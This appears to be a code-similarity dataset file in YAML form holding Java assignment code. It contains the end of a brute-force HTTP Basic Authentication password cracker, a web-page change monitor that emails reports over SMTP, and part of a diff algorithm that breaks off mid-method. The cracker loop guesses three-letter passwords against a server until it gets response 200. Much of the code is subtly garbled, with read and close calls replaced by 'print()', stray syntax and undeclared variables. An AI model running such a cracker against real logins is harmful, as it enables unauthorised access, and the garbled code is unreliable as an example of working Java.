\ request.setBasicAuthentication(username,password);\n HttpResponse\ |
|
|
\ response = http.getResponse(request);\n errorMessage = response.getResponseCode();\n\ |
|
|
\ System.out.println(errorMessage);\n System.out.println(password);\n\ |
|
|
\ attempts++;\n if (errorMessage == 200)\n \ |
|
|
\ break;\n }\n if (errorMessage\ |
|
|
\ == 200)\n break;\n }\n if (errorMessage\ |
|
|
\ == 200)\n break;\n }\n }\n\n \n\n if\ |
|
|
\ (errorMessage == 401)\n {\n for (firstPosition = 0; firstPosition\ |
|
|
\ < 26; firstPosition ++)\n { \n for(secondPosition = 0; secondPosition\ |
|
|
\ < 26; secondPosition++)\n {\n for(thirdPosition = 0;\ |
|
|
\ thirdPosition <26; thirdPosition++)\n { \n String\ |
|
|
\ one = new String(asciiUpper, firstPosition,number);\n String\ |
|
|
\ two = new String (asciiLower, secondPosition, number);\n String\ |
|
|
\ three = new String (asciiUpper, thirdPosition, number); \n \ |
|
|
\ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\ |
|
|
\ HttpResponse response = http.getResponse(request);\n \ |
|
|
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\ |
|
|
\ System.out.println(password);\n attempts++;\n\ |
|
|
\ if (errorMessage == 200)\n break;\n \ |
|
|
\ }\n if (errorMessage == 200)\n break;\n\ |
|
|
\ }\n if (errorMessage == 200)\n break;\n\ |
|
|
\ }\n }\n \n \n Date endDate = new Date();\n\ |
|
|
\ System.out.println(\"Password crack finished: \" + endDate);\n System.out.println(\"\ |
|
|
Password crack started: \" + startDate);\n System.out.println(\" of attempts:\ |
|
|
\ \" + attempts);\n }\n}\n\n \n \n\n\n\n\n\n\n\n\n \n\n \ |
|
|
\ \n\n \n\n\n\n\n\n \n \n \n " |
|
|
- source_sentence: "\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.Properties;\n\ |
|
|
import java.security.*;\n\npublic class WatchDog\n{\n private String file,tempfile1,tempfile2,tempfile3;\n\ |
|
|
\tprivate final String host=\"yallara.cs.rmit.edu.\";\n private final String\ |
|
|
\ email=\"@cs.rmit.edu.\";\n private final String from=\"[email protected].\"\ |
|
|
;\n private final String subject=\"SUBJECT:Mail from Watchdog about the changes\ |
|
|
\ the web-.\";\n private String baseURL=\"\";\n\tprivate String msg;\n\tprivate\ |
|
|
\ boolean firstTime=false;\n public WatchDog(boolean flag)\n\t{\n\t\tfirstTime=flag;\n\ |
|
|
\t}\n\n public void startWatching(String[] urls,String fl)\n {\n\t\tfile=fl;\n\ |
|
|
\t\ttempfile1=fl+\"/temp1.log\";\n\t\ttempfile2=fl+\"/temp2.log\";\n\t\ttempfile3=fl+\"\ |
|
|
/temp3.log\";\n\t\tSystem.out.println(tempfile3);\n\n\t\tmsg=\"\";\n\t\tfor(;;)\n\ |
|
|
\t\t{\n\t\t\ttry\n\t\t\t{\n\n\t\t\t\tfor(int o=0;o<urls.length;o++)\n\t\t\t\t\ |
|
|
{\n\t\t\t\t\tfile=fl+\"/ass2_\"+o+\".log\";\n\t\t\t\t\tURL u=new URL(urls[o]);\n\ |
|
|
\t\t\t\t\tString f=u.getFile();\n\t\t\t\t\tString url=urls[o];\n\t\t\t\t\tif(f.lastIndexOf('.')<f.lastIndexOf('/'))\n\ |
|
|
\t\t\t\t\t{\n\t\t\t\t\t\turl=f.substring(0,f.lastIndexOf('/'));\n\t\t\t\t\t\t\ |
|
|
url=u.getProtocol()+\"://\"+u.getHost()+url;\n\t\t\t\t\t}\n\t\t\t\t\tSystem.out.println(url);\n\ |
|
|
\t\t\t\t\twatch(url);\n\t\t\t\t\tmsg=msg+\"\\n\\n\";\n\t\t\t\t}\n\t\t\t\tif(firstTime==false)\n\ |
|
|
\t\t\t\t{\n\t\t\t boolean flag=mail(msg);\n\t\t\t if(flag)\n\t\t\t\t\t\ |
|
|
System.out.println(\"mail sent\");\n\t\t\t\t else\n\t\t\t\t\tSystem.out.println(\"\ |
|
|
mail not sent\");\n \t\t\t\t Thread.sleep(1000*60*60*24);\n\t\t\t\t}\n\t\t\t\t\ |
|
|
else\n\t\t\t\t\tSystem.exit(0);\n\t\t\t}\n\t\t\tcatch(Exception e)\n\t\t\t{\n\t\ |
|
|
\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\t\t\t\n }\n\n\tprivate void watch(String\ |
|
|
\ url) throws IOException\n\t{\n\t\t baseURL=url;\n\t\t msg=msg+\"Going\ |
|
|
\ check the URL \"+url+\".\\n\";\n\t \n\t\t String pageText=getResource(url);\n\ |
|
|
\n\t\t\t String [] images=getImages(pageText);\n\n\t\t\t if(firstTime==false)\n\ |
|
|
\t msg= msg + checkChange(pageText,images);\t \n\n\t\t msg=msg+\"\ |
|
|
. Checked at \"+new java.util.Date(System.currentTimeMillis())+\".\";\n\n\t\t\ |
|
|
\ log(pageText,images);\n\n\t\t\tif(firstTime)\n\t\t\t\tSystem.out.println(\"\ |
|
|
Re-run the watchDog (without the First flag).\");\n\t}\n\tprivate String checkChange(String\ |
|
|
\ pageText,String [] images) throws IOException\n\t{\n\t\t\n\t\tPrintWriter out=new\ |
|
|
\ PrintWriter(new FileOutputStream(tempfile1));\n\t\tout.println(pageText);\n\t\ |
|
|
\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\");\n\ |
|
|
\t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\n\t\tBufferedReader in1=new\ |
|
|
\ BufferedReader(new FileReader(file));\n\t\tBufferedReader in2=new BufferedReader(new\ |
|
|
\ FileReader(tempfile1));\t\n\t\tString msg=\"\\n\";\n \tString temp1=\"\ |
|
|
\",temp2=\"\",oldText=\"\",newText=\"\";\n\n\t\t\n\t\tBufferedReader in0=new BufferedReader(new\ |
|
|
\ FileReader(tempfile1));\n\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ |
|
|
+\"\\n\")==false)\n\t\t{\n\t\t\ttemp1=in0.readLine();\n\t\t\ttemp1=temp1+\"\\\ |
|
|
n\";\n\t\t\tnewText=newText+temp1;\n\t\t}\n\t\tin0.print();\n\t\tin0=null;\n\t\ |
|
|
\t\n\t\tout=new PrintWriter(new FileOutputStream(tempfile1));\n\t\tout.println(newText);\n\ |
|
|
\t\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ |
|
|
);\n\t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\t\tnewText=\"\";\n\t\t\ |
|
|
temp1=\" \";\n\n\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ |
|
|
+\"\\n\")==false)\n\t\t{\n\t\t\ttemp1=in1.readLine();\n\t\t\ttemp1=temp1+\"\\\ |
|
|
n\";\n\t\t\ttemp2=in2.readLine();\n\t\t\ttemp2=temp2+\"\\n\";\n\t\t\toldText=oldText+temp1;\n\ |
|
|
\t\t\tnewText=newText+temp2;\n\t\t}\t\t\n\n\t\tin2.print();\n\t\tin2=null;\n\n\ |
|
|
\t\tout=new PrintWriter(new FileOutputStream(tempfile2));\n\t\tout.println(oldText);\n\ |
|
|
\t\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ |
|
|
);\n\t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\n\t\tmsg=msg+DiffPrint.getDiff(tempfile1,tempfile2,tempfile3);\n\ |
|
|
\t\tString data=\"\";\n\t\ttry{\n\t\t\tFileReader fin=new FileReader(tempfile3);\n\ |
|
|
\t\t\tint ch=fin.print();\n\t\t\twhile(ch!= -1)\n\t\t\t{\n\t\t\t data=data+\"\ |
|
|
\"+(char)ch;\n\t\t\t\t ch=fin.print();\n\t\t\t}\n\t\t}\n\t\tcatch(FileNotFoundException\ |
|
|
\ m){}\n\n\t\tmsg=msg+data;\n\n\t\ttemp1=in1.readLine();\n\n\t\tint numImg=Integer.parseInt(temp1);\n\ |
|
|
\t\tif(numImg != images.length)\n\t\t\tmsg=msg+\"The number of images has chnaged.\\\ |
|
|
n The number of images before was \"+numImg+\" \\n While the number of images\ |
|
|
\ found now is \"+images.length+\" .\\n\";\n\t\telse\n\t\t\tmsg=msg+\" is change\ |
|
|
\ in the number of images the .\\n\";\n\n\t\tString iText1=\"\",iText2=\"\";\n\ |
|
|
\t\t\n\t\tfor(int i=0;i<numImg;i++)\n\t\t{\n\t\t\tout=new PrintWriter(new FileOutputStream(tempfile1));\n\ |
|
|
\t\t\tout.println(images[i]);\n\t\t\tout.flush();\n\t\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ |
|
|
);\n\t\t\tout.flush();\n\t\t\tout.print();\n\t\t\tout=null;\n\n\t\t\tin2=new BufferedReader(new\ |
|
|
\ FileReader(tempfile1));\n\t\n\t\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ |
|
|
+\"\\n\")==false)\n\t\t\t{\n\t\t\t\n\t\t\t\ttemp1=in1.readLine();\n\t\t\t\ttemp1=temp1+\"\ |
|
|
\\n\";\n\t\t\t\ttemp2=in2.readLine();\n\t\t\t\ttemp2=temp2+\"\\n\";\n\t\t\t\t\ |
|
|
iText1=iText1+temp1;\n\t\t\t\tiText2=iText2+temp2;\n\t\t\t}\n\t\t\t\n\t\t\tin2.print();\n\ |
|
|
\t\t\tin2=null;\n\n\t\t\tif(iText1.equals(iText2))\n\t\t\t\tmsg=msg+\" is change\ |
|
|
\ in the Image number \"+(i+1)+\". \\n\";\n\t\t\telse\n\t\t\t\tmsg=msg+\"The Image\ |
|
|
\ number \"+(i+1)+\" has changed. \\n\";\n\t\t}\n\n\t\treturn msg;\n\t}\n\tprivate\ |
|
|
\ String[] getImages(String text) throws IOException\n\t{\n\t\tString [] images,urls;\n\ |
|
|
\t\tjava.util.ArrayList alist=new java.util.ArrayList();\n\t\tString t=\"\";\n\ |
|
|
\t\tboolean img=false;\n\t\tint len=text.length();\n\t\tchar ch,last=' ';\n\t\t\ |
|
|
int c=0;\n\t\twhile(c<len)\n\t\t{\n\t\t\tch=text.charAt(c);\n\t\t\tif(ch=='<')\n\ |
|
|
\t\t\t{\n\t\t\t\tlast='<';\n\t\t\t\tt=\"\";\n\t\t\t}\n\t\t\tif(last=='<')\n\t\t\ |
|
|
\t{\n\t\t\t\tt=\"\"+ch;\n\t\t\t\tif(c+2 < len)\n\t\t\t\t\tt=t+text.charAt(c+1)+\"\ |
|
|
\"+text.charAt(c+2);\n\t\t\t\tif(t.equalsIgnoreCase(\"img\"))\n\t\t\t\t\timg=true;\n\ |
|
|
\t\t\t}\n\t\t\tif(img==true)\n\t\t\t\tt=+ch;\n\t\t\tif(ch=='>')\n\t\t\t{\n\t\t\ |
|
|
\t\tlast='>';\n\t\t\t\tif(img==true)\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\tSystem.out.println();\n\ |
|
|
\t\t\t\t\tint n=0;\n\t\t\t\t\tchar tch,tlast=' ';\n\t\t\t\t\tString imgPath=\"\ |
|
|
\",tn=\"\";\n\t\t\t\t\tboolean src=false;\n\t\t\t\t\twhile(n<t.length())\n\t\t\ |
|
|
\t\t\t{\n\t\t\t\t\t\ttch=t.charAt(n);\n\t\t\t\t\t\ttn=\"\"+tch;\n\t\t\t\t\t\t\ |
|
|
if(src==false && tn.equalsIgnoreCase(\"s\") && (n+2)<t.length())\n\t\t\t\t\t\t\ |
|
|
{\n\t\t\t\t\t\t\ttn=tn+t.charAt(n+1)+\"\"+t.charAt(n+2);\n\t\t\t\t\t\t\tif(tn.equalsIgnoreCase(\"\ |
|
|
src\"))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tsrc=true;\n\t\t\t\t\t\t\t\tn+=2;\n\t\ |
|
|
\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if(src==true)\n\t\t\t\t\t\t{\n\t\ |
|
|
\t\t\t\t\t\tif(tch!='\"')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(tch==' ' && imgPath.indexOf('.')!=\ |
|
|
\ -1)\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tn=t.length();\n\t\t\t\t\t\t\t\telse if(tch=='\ |
|
|
\ ' || tch=='=')\n\t\t\t\t\t\t\t\t\t;\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\ |
|
|
imgPath=imgPath+tch;\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\ |
|
|
\t\tn++;\n\t\t\t\t\t}\n\t\t\t\t\talist.add(imgPath);\n\t\t\t\t}\n\t\t\t\timg=false;\n\ |
|
|
\t\t\n\t\t\t}\n\t\t\tc++;\n\t\t}\n\t\turls=(String[])alist.toArray(new String[0]);\ |
|
|
\ \n\t\timages=new String[urls.length];\n\t\tfor(int i=0;i<urls.length;i++)\n\t\ |
|
|
\t{\n\t\t\tSystem.out.println(urls[i]);\n\t\t\tif(urls[i].startsWith(\"http\"\ |
|
|
)==false && urls[i].startsWith(\"HTTP\")==false && urls[i].startsWith(\"/\")==false)\n\ |
|
|
\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\timages[i]=getResource(baseURL+\"/\"\ |
|
|
+urls[i]);\t\t\t\n\t\t\t\t}\n\t\t\t\tcatch(FileNotFoundException fnfe)\n\t\t\t\ |
|
|
\t{\n\t\t\t\t\tString f=baseURL+\"/\"+urls[i];\n\t\t\t\t\timages[i]=f.substring(0,f.lastIndexOf('/'));\n\ |
|
|
\t\t\t\t}\n\t\t\t}\n\t\t\telse if(urls[i].startsWith(\"http\")==false && urls[i].startsWith(\"\ |
|
|
HTTP\")==false)\t\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\timages[i]=getResource(baseURL+urls[i]);\n\ |
|
|
\t\t\t\t}\n\t\t\t\tcatch(FileNotFoundException fnfe)\n\t\t\t\t{\n\t\t\t\t\tString\ |
|
|
\ f=baseURL+urls[i];\n\t\t\t\t\timages[i]=f.substring(0,f.lastIndexOf('/'));\n\ |
|
|
\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\timages[i]=getResource(urls[i]);\n\ |
|
|
\t\t\t\t}\n\t\t\t\tcatch(FileNotFoundException fnfe)\n\t\t\t\t{\n\t\t\t\t\timages[i]=urls[i].substring(0,urls[i].lastIndexOf('/'));\n\ |
|
|
\t\t\t\t}\n\n\t\t\t}\n\n\t\t}\n\t\treturn images;\n\t}\n\tprivate void log(String\ |
|
|
\ pageText,String[] images) throws IOException\n {\n\t\tPrintWriter out=new\ |
|
|
\ PrintWriter(new FileOutputStream(file));\n\t\tout.println(pageText);\n\t\tout.flush();\n\ |
|
|
\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\");\n\t\tout.flush();\t\ |
|
|
\n\n\t\tif(images.length>0)\n\t\t{\n\t\t\tout.println(images.length+\"\");\n\t\ |
|
|
\t\tout.flush();\t\n\t\t}\n\t\tfor(int i=0;i<images.length;i++)\n\t\t{\n\t\t\t\ |
|
|
out.println(images[i]);\n\t\t\tout.flush();\n\t\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\ |
|
|
);\n\t\t\tout.flush();\t\t\n\t\t}\t\n\n\t}\n\n public String getResource(String\ |
|
|
\ url) throws IOException\n\t{\n\t\t\t\tSystem.out.println(\"url=\"+url);\n\t\t\ |
|
|
\t\tString urlData=new String(\"\");\n InputStreamReader in=new\ |
|
|
\ InputStreamReader(new URL(url).openStream());\n int ch=in.print();\n\ |
|
|
\ while(ch!= -1)\n {\n urlData=urlData+(char)ch;\n\ |
|
|
\ ch=in.print();\n }\n\t\treturn urlData;\n\t\ |
|
|
}\n\n public boolean mail (String msg) throws IOException\n {\n\ |
|
|
\ boolean ret=true;\n try\n {\n \ |
|
|
\ Socket csoc=new Socket(\"yallara.cs.rmit.edu.\",25);\n BufferedReader\ |
|
|
\ in=new BufferedReader(new InputStreamReader(csoc.getInputStream()));\n \ |
|
|
\ PrintWriter out=new PrintWriter(csoc.getOutputStream(),true);\n \ |
|
|
\ out.println(\"HELO \"+host);\n System.out.println(in.readLine());\n\ |
|
|
\ out.println(\"MAIL FROM:\"+from);\n System.out.println(in.readLine());\n\ |
|
|
\ out.println(\"RCPT :\");\n System.out.println(in.readLine());\n\ |
|
|
\ out.println(\"DATA\");\n System.out.println(in.readLine());\n\ |
|
|
\ out.println(\"SUBJECT:\"+subject);\n System.out.println(in.readLine());\n\ |
|
|
\ out.println(msg);\n \t out.println(\".\");\n \ |
|
|
\ System.out.println(in.readLine());\n out.println(\"QUIT\");\n \ |
|
|
\ System.out.println(in.readLine());\n }\n catch(Exception\ |
|
|
\ e)\n {\n e.printStackTrace();\n System.out.println(\"\ |
|
|
Some error occoured while communicating server\");\n ret=false;\n\ |
|
|
\ \t return ret;\n }\n\t System.out.println(\"**************************************\\\ |
|
|
nMAIL ->\"+msg);\n return ret;\n }\n\n\tpublic static void main\ |
|
|
\ (String[] args)\n\t{\n\t\tSystem.out.println(\"Usage : \\n java WatchDog <space\ |
|
|
\ seperated list of urls> <current path> [First] \\n {The First at the end is\ |
|
|
\ used when running the watch dog for a new URL for the first Time}\");\n\t\t\ |
|
|
boolean flag=false;\n\t\tint num=args.length-1;\n\t\tif(args[args.length-1].equalsIgnoreCase(\"\ |
|
|
First\"))\n\t\t{\n\t\t\tnum--;;\n\t\t\tflag=true;\n\t\t}\nSystem.out.println(args[num]);\n\ |
|
|
\n\t\tWatchDog w=new WatchDog(flag);\n\t\tString []u=new String[num];\n\t\tfor(int\ |
|
|
\ i=0;i<u.length;i++)\n\t\t\tu[i]=args[i];\n\t\tw.startWatching(u,args[num]);\n\ |
|
|
\t}\n}\n" |
|
|
sentences: |
|
|
- "\n\nimport java.util.Hashtable;\n\n\n\npublic class Diff {\n\n \n public Diff(Object[]\ |
|
|
\ a,Object[] b) {\n Hashtable h = new Hashtable(a.length + b.length);\n \ |
|
|
\ filevec[0] = new file_data(a,h);\n filevec[1] = new file_data(b,h);\n }\n\ |
|
|
\n \n private int equiv_max = 1;\n\n \n public boolean heuristic = false;\n\ |
|
|
\n \n public boolean no_discards = false;\n\n private int[] xvec, yvec; \ |
|
|
\ \n private int[] fdiag; \n private int[] bdiag; \n private\ |
|
|
\ int fdiagoff, bdiagoff;\n private final file_data[] filevec = new file_data[2];\n\ |
|
|
\ private int cost;\n\n \n\n private int diag (int xoff, int xlim, int yoff,\ |
|
|
\ int ylim) {\n final int[] fd = fdiag; \n final int[] bd = bdiag; \ |
|
|
\ \n final int[] xv = xvec; \n final int[] yv = yvec; \ |
|
|
\ \n final int dmin = xoff - ylim; \n final int dmax =\ |
|
|
\ xlim - yoff; \n final int fmid = xoff - yoff; \n final int\ |
|
|
\ bmid = xlim - ylim; \n int fmin = fmid, fmax = fmid; \n int\ |
|
|
\ bmin = bmid, bmax = bmid; \n \n final boolean odd = (fmid - bmid\ |
|
|
\ & 1) != 0; \n\n fd[fdiagoff + fmid] = xoff;\n bd[bdiagoff + bmid] = xlim;\n\ |
|
|
\n for (int c = 1;; ++c)\n {\n int d; \n \ |
|
|
\ boolean big_snake = false;\n\n \n if (fmin > dmin)\n \ |
|
|
\ fd[fdiagoff + --fmin - 1] = -1;\n else\n ++fmin;\n \ |
|
|
\ if (fmax < dmax)\n fd[fdiagoff + ++fmax + 1] = -1;\n else\n\ |
|
|
\ --fmax;\n for (d = fmax; d >= fmin; d -= 2)\n {\n \ |
|
|
\ int x, y, oldx, tlo = fd[fdiagoff + d - 1], tly = fd[fdiagoff + d\ |
|
|
\ + 1];\n\n if (tlo >= ylim)\n x = tlo + 1;\n \ |
|
|
\ else\n x = ylim;\n oldx = x;\n y = x -\ |
|
|
\ d;\n while (x < xlim && y < ylim && xv[x] == yv[y]) {\n \ |
|
|
\ ++x; ++y;\n }\n if (x - oldx > 20)\n \ |
|
|
\ big_snake = true;\n fd[fdiagoff + d] = x;\n if (odd &&\ |
|
|
\ bmin <= d && d <= bmax && bd[bdiagoff + d] <= fd[fdiagoff + d])\n \ |
|
|
\ {\n cost = 2 * c - 1;\n return d;\n \ |
|
|
\ }\n }\n\n \n if (bmin > dmin)\n bd[bdiagoff\ |
|
|
\ + --bmin - 1] = Integer.MAX_VALUE;\n else\n ++bmin;\n \ |
|
|
\ if (bmax < dmax)\n bd[bdiagoff + ++bmax + 1] = Integer.MAX_VALUE;\n\ |
|
|
\ else\n --bmax;\n for (d = bmax; d >= bmin; d -= 2)\n\ |
|
|
\ {\n int x, y, oldx, tlo = bd[bdiagoff + d - 1], tly = bd[bdiagoff\ |
|
|
\ + d + 1];\n\n if (tlo < ylim)\n x = tlo;\n \ |
|
|
\ else\n x = - 1;\n oldx = x;\n y = x -\ |
|
|
\ d;\n while (x > xoff && y > yoff && xv[x - 1] == yv[y - 1]) {\n \ |
|
|
\ --x; --y;\n }\n if (oldx - x > 20)\n \ |
|
|
\ big_snake = true;\n bd[bdiagoff + d] = x;\n if\ |
|
|
\ (!odd && fmin <= d && d <= fmax && bd[bdiagoff + d] <= fd[fdiagoff + d])\n \ |
|
|
\ {\n cost = 2 * c;\n return d;\n \ |
|
|
\ }\n }\n\n \n\n if (c > 200 && big_snake &&\ |
|
|
\ heuristic)\n {\n int i = 0;\n int bestpos = -1;\n\ |
|
|
\n for (d = fmax; d >= fmin; d -= 2)\n {\n \ |
|
|
\ int dd = d - fmid;\n if ((fd[fdiagoff + d] - xoff)*2 - dd\ |
|
|
\ > 12 * (c + (dd > 0 ? dd : -dd)))\n {\n \ |
|
|
\ if (fd[fdiagoff + d] * 2 - dd > i\n && fd[fdiagoff +\ |
|
|
\ d] - xoff > 20\n && fd[fdiagoff + d] - d - yoff > 20)\n\ |
|
|
\ {\n int k;\n \ |
|
|
\ int x = fd[fdiagoff + d];\n\n \n \ |
|
|
\ for (k = 1; k <= 20; k++)\n if (xvec[x - k]\ |
|
|
\ != yvec[x - d - k])\n break;\n\n \ |
|
|
\ if (k == 21)\n {\n \ |
|
|
\ ylim = fd[fdiagoff + d] * 2 - dd;\n bestpos =\ |
|
|
\ d;\n }\n }\n \ |
|
|
\ }\n }\n if ( x> 0)\n {\n \ |
|
|
\ cost = 2 * c - 1;\n return bestpos;\n }\n\n \ |
|
|
\ x= 0;\n for (d = bmax; d >= bmin; d -= 2)\n \ |
|
|
\ {\n int dd = d - bmid;\n if ((xlim - bd[bdiagoff\ |
|
|
\ + d])*2 + dd > 12 * (c + (dd > 0 ? dd : -dd)))\n {\n \ |
|
|
\ if ((xlim - bd[bdiagoff + d]) * 2 + dd > i\n \ |
|
|
\ && xlim - bd[bdiagoff + d] > 20\n && x - (bd[bdiagoff\ |
|
|
\ + d] - d) > 20)\n {\n \n \ |
|
|
\ int k;\n int x = bd[bdiagoff + d];\n\n\ |
|
|
\ for (k = 0; k < 20; k++)\n if\ |
|
|
\ (xvec[x + k] != yvec[x - d + k])\n break;\n \ |
|
|
\ if (k == 20)\n {\n \ |
|
|
\ x = (xlim - bd[bdiagoff + d]) * 2 + dd;\n \ |
|
|
\ bestpos = d;\n }\n }\n \ |
|
|
\ }\n }\n if (x > 0)\n {\n\ |
|
|
\ cost = 2 * c - 1;\n return bestpos;\n \ |
|
|
\ }\n }\n }\n }\n\n \n\n private void compareseq (int xoff,\ |
|
|
\ int xlim, int yoff, int ylim) {\n \n while (xoff < xlim && yoff < ylim\ |
|
|
\ && xvec[xoff] == yvec[yoff]) {\n ++xoff; ++yoff;\n }\n \n while\ |
|
|
\ (xlim > xoff && ylim > yoff && xvec[xlim - 1] == yvec[ ylim- 1]) {\n --xlim;\ |
|
|
\ --x;\n }\n \n \n if (xoff == xlim)\n while (yoff < ylim)\n\ |
|
|
\ filevec[1].changed_flag[1+filevec[1].realindexes[yoff++]] = true;\n \ |
|
|
\ else if (yoff == ylim)\n while (xoff < xlim)\n filevec[0].changed_flag[1+filevec[0].realindexes[xoff++]]\ |
|
|
\ = true;\n else\n {\n \n\n int d = diag (xoff, xlim, yoff,\ |
|
|
\ ylim );\n int c = cost;\n int f = fdiag[fdiagoff + d];\n \ |
|
|
\ int b = bdiag[bdiagoff + d];\n\n if (c == 1)\n {\n \ |
|
|
\ \n throw new IllegalArgumentException(\"Empty subsequence\");\n\ |
|
|
\ }\n else\n {\n \n compareseq\ |
|
|
\ (xoff, b, yoff, b - d);\n \n compareseq (b, xlim, b -\ |
|
|
\ d,ylim );\n }\n }\n }\n\n \n\n private void discard_confusing_lines()\ |
|
|
\ {\n filevec[0].discard_confusing_lines(filevec[1]);\n filevec[1].discard_confusing_lines(filevec[0]);\n\ |
|
|
\ }\n\n private boolean inhibit = false;\n\n \n\n private void shift_boundaries()\ |
|
|
\ {\n if (inhibit)\n return;\n filevec[0].shift_boundaries(filevec[1]);\n\ |
|
|
\ filevec[1].shift_boundaries(filevec[0]);\n }\n\n public interface ScriptBuilder\ |
|
|
\ {\n \n public change build_script(\n boolean[] changed0,int len0,\n\ |
|
|
\ boolean[] changed1,int len1\n );\n }\n\n \n\n static class ReverseScript\ |
|
|
\ implements ScriptBuilder {\n public change build_script(\n final\ |
|
|
\ boolean[] changed0,int len0,\n final boolean[] changed1,int len1)\n \ |
|
|
\ {\n change script = null;\n int i0 = 0, i1 = 0;\n while (i0\ |
|
|
\ < len0 || i1 < len1) {\n if (changed0[1+i0] || changed1[1+i1]) {\n \ |
|
|
\ int line0 = i0, line1 = i1;\n\n \n while (changed0[1+i0])\ |
|
|
\ ++i0;\n while (changed1[1+i1]) ++i1;\n\n \n \ |
|
|
\ script = new change(line0, line1, i0 - line0, i1 - line1, script);\n \ |
|
|
\ }\n\n \n i0++; i1++;\n }\n\n return script;\n }\n\ |
|
|
\ }\n\n static class ForwardScript implements ScriptBuilder {\n \n public\ |
|
|
\ change build_script(\n final boolean[] changed0,int len0,\n \ |
|
|
\ final boolean[] changed1,int len1)\n {\n change script = null;\n \ |
|
|
\ int i0 = len0, i1 = len1;\n\n while (i0 >= 0 || i1 >= 0)\n {\n\ |
|
|
\ if (changed0[i0] || changed1[i1])\n {\n int\ |
|
|
\ line0 = i0, line1 = i1;\n\n \n while (changed0[i0])\ |
|
|
\ --i0;\n while (changed1[i1]) --i1;\n\n \n \ |
|
|
\ script = new change(i0, i1, line0 - i0, line1 - i1, script);\n \ |
|
|
\ }\n\n \n i0--; i1--;\n }\n\n return script;\n\ |
|
|
\ }\n }\n\n \n public final static ScriptBuilder\n forwardScript = new\ |
|
|
\ ForwardScript(),\n reverseScript = new ReverseScript();\n\n \n public final\ |
|
|
\ change diff_2(final boolean reverse) {\n return diff(reverse ? reverseScript\ |
|
|
\ : forwardScript);\n }\n\n \n public change diff(final ScriptBuilder bld)\ |
|
|
\ {\n\n \n\n discard_confusing_lines ();\n\n \n\n xvec = filevec[0].undiscarded;\n\ |
|
|
\ yvec = filevec[1].undiscarded;\n\n int diags =\n filevec[0].nondiscarded_lines\ |
|
|
\ + filevec[1].nondiscarded_lines + 3;\n fdiag = new int[diags];\n fdiagoff\ |
|
|
\ = filevec[1].nondiscarded_lines + 1;\n bdiag = new int[diags];\n bdiagoff\ |
|
|
\ = filevec[1].nondiscarded_lines + 1;\n\n compareseq (0, filevec[0].nondiscarded_lines,\n\ |
|
|
\ 0, filevec[1].nondiscarded_lines);\n fdiag = null;\n bdiag\ |
|
|
\ = null;\n\n \n\n shift_boundaries ();\n\n \n return bld.build_script(\n\ |
|
|
\ filevec[0].changed_flag,\n filevec[0].buffered_lines,\n filevec[1].changed_flag,\n\ |
|
|
\ filevec[1].buffered_lines\n );\n\n }\n\n \n\n public static class\ |
|
|
\ change {\n \n public int change ; \n \n public final int\ |
|
|
\ inserted; \n \n public final int deleted; \n \n public\ |
|
|
\ final int line0; \n \n public final int line1; \ |
|
|
\ \n\n \n public change(int line0, int line1, int deleted, int inserted,\ |
|
|
\ change old) {\n this.line0 = line0;\n this.line1 = line1;\n this.inserted\ |
|
|
\ = inserted;\n this.deleted = deleted;\n this.old = old;\n \n\ |
|
|
\ }\n }\n\n \n\n class file_data {\n\n \n void clear() {\n \n\ |
|
|
\ changed_flag = new boolean[buffered_lines + 2];\n }\n\n \n int[]\ |
|
|
\ equivCount() {\n int[] equiv_count = new int[equiv_max];\n for (int\ |
|
|
\ i = 0; i < buffered_lines; ++i)\n ++equiv_count[equivs[i]];\n return\ |
|
|
\ equiv_count;\n }\n\n \n void discard_confusing_lines(file_data f) {\n\ |
|
|
\ clear();\n \n final byte[] discarded = discardable(f.equivCount());\n\ |
|
|
\n \n filterDiscards(discarded);\n\n \n discard(discarded);\n\ |
|
|
\ }\n\n \n\n private byte[] discardable(final int[] counts) {\n \ |
|
|
\ final int end = buffered_lines;\n final byte[] discards = new byte[end];\n\ |
|
|
\ final int[] equivs = this.equivs;\n int many = 5;\n int tem =\ |
|
|
\ end / 64;\n\n \n while ((tem = tem >> 2) > 0)\n many *= 2;\n\ |
|
|
\n for (int i = 0; i < end; i++)\n {\n int nmatch;\n \ |
|
|
\ if (equivs[i] == 0)\n continue;\n nmatch = counts[equivs[i]];\n\ |
|
|
\ if (nmatch == 0)\n discards[i] = 1;\n else if (nmatch\ |
|
|
\ > many)\n discards[i] = 2;\n }\n return discards;\n \ |
|
|
\ }\n\n \n\n private void filterDiscards(final byte[] discards) {\n \ |
|
|
\ final int end = buffered_lines;\n\n for (int i = 0; i < end; i++)\n\ |
|
|
